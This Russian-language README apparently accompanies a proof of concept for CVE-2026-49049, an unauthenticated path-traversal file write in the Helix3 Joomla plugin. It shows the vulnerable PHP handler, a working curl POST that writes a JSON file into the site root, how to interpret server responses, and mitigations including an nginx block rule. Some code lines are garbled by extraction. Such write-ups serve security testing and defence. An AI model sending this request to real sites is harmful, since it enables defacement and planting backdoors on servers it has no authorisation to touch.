
Технический анализ и Proof of Concept (PoC) для CVE-2026-49049, уязвимость произвольной записи файлов без аутентификации в JoomShaper Helix3 для Joomla, включая векторы эксплуатации и рекомендации по смягчению последствий.
Репозиторий содержит материалы, технический анализ и Proof of Concept (PoC) для критической уязвимости CVE-2026-49049, обнаруженной в устаревшем фреймворке шаблонов Helix3 от JoomShaper для CMS Joomla (версии от 1.0 до 3.1.0 включительно).
Уязвимость активно эксплуатируется в дикой природе автоматизированными ботнетами (в частности, в рамках дефейс-кампании AntonKill).
Проблема кроется в системном AJAX-обработчике Joomla (com_ajax), который вызывает метод onAjaxHelix3() в плагине plg_ajax_helix3. Разработчики компонента не предусмотрели:
layoutName.public function onAjaxHelix3() {
\$input = Factory::getApplication()->input;
\(data =\)input->post->get('data', [], 'array');
\(action =\)data['action'];
\(layoutName =\)data['layoutName'];
// Отсутствует проверка прав! Отсутствует фильтрация пути!
\$filepath = \(layoutPath .\)layoutName;
switch (\$action) {
case 'save':
// Запись контролируемых данных в произвольную директорию сервера
fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
break;
}
}
Для верификации уязвимости используется POST-запрос с типом контента application/x-www-form-urlencoded. Данный метод упаковки параметров является наиболее эффективным для демонстрации бреши.
curl -sk -X POST \
'https://target.com' \
-d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'
При проведении тестирования на проникновение сервер может вернуть разные типы ответов. Их интерпретация критически важна:
Ответ сервера:
{"success":true,"message":null,"messages":null,"data":[]}
Интерпретация: Плагин уязвим, ограничения ОС отсутствуют. Файл успешно создан в корне сайта и доступен по адресу https://target.com. Сайт требует немедленной очистки и изоляции.
Ответ сервера:
{
"success":false,
"message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
"messages":null,
"data":null
}
Интерпретация: Частичный успех. Логика плагина Helix3 нарушена — он принял данные без авторизации и попытался открыть файл на запись (fopen). Однако операционная система Linux заблокировала это действие, так как у пользователя веб-сервера (например, www-data) нет прав на запись в корень сайта.
Ответ сервера: Статус 404 Not Found, 403 Forbidden или пустой ответ [].
Интерпретация: Плагин обновлен до безопасной версии (3.1.1+), где добавлена проверка авторизации, либо полностью удален из CMS.
plg_ajax_helix3 через панель администратора Joomla.if (\(request_method = POST) { set\)test "P"; }
if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
if (\$test = PH) { return 403; }
Disclaimer: Данный материал предоставлен исключительно в образовательных целях и для легитимного аудита безопасности систем (Pentesting). Автор не несет ответственности за неправомерное использование предоставленной информации.
| Параметр | Значение / Пример | Что означает для сервера |
|---|
option | com_ajax | Точка входа в Joomla для обработки AJAX-запросов. |
plugin | helix3 | Системный идентификатор, заставляющий Joomla передать управление уязвимому плагину Helix3. |
format | json | Указывает движку вернуть ответ в формате JSON. |
-d | data[...] | Тело запроса (Form Data), автоматически интерпретируемое PHP в глобальный массив $_POST. |
data[action] | save | Переключатель switch в коде. Инструктирует плагин вызвать функцию записи (создания) файла. |
data[layoutName] | ../../../../../../../example | Ключевой вектор атаки (Path Traversal). Символы ../ заставляют операционную систему выйти из изолированной папки плагина в корневую директорию сайта. Расширение .json плагин подставит автоматически. |
data[content] | {"probe":"test"} | Полезная нагрузка (Payload). Текстовые данные, которые физически запишутся внутрь создаваемого файла example.json. В реальных атаках сюда внедряется вредоносный код дефейса или бэкдоры. |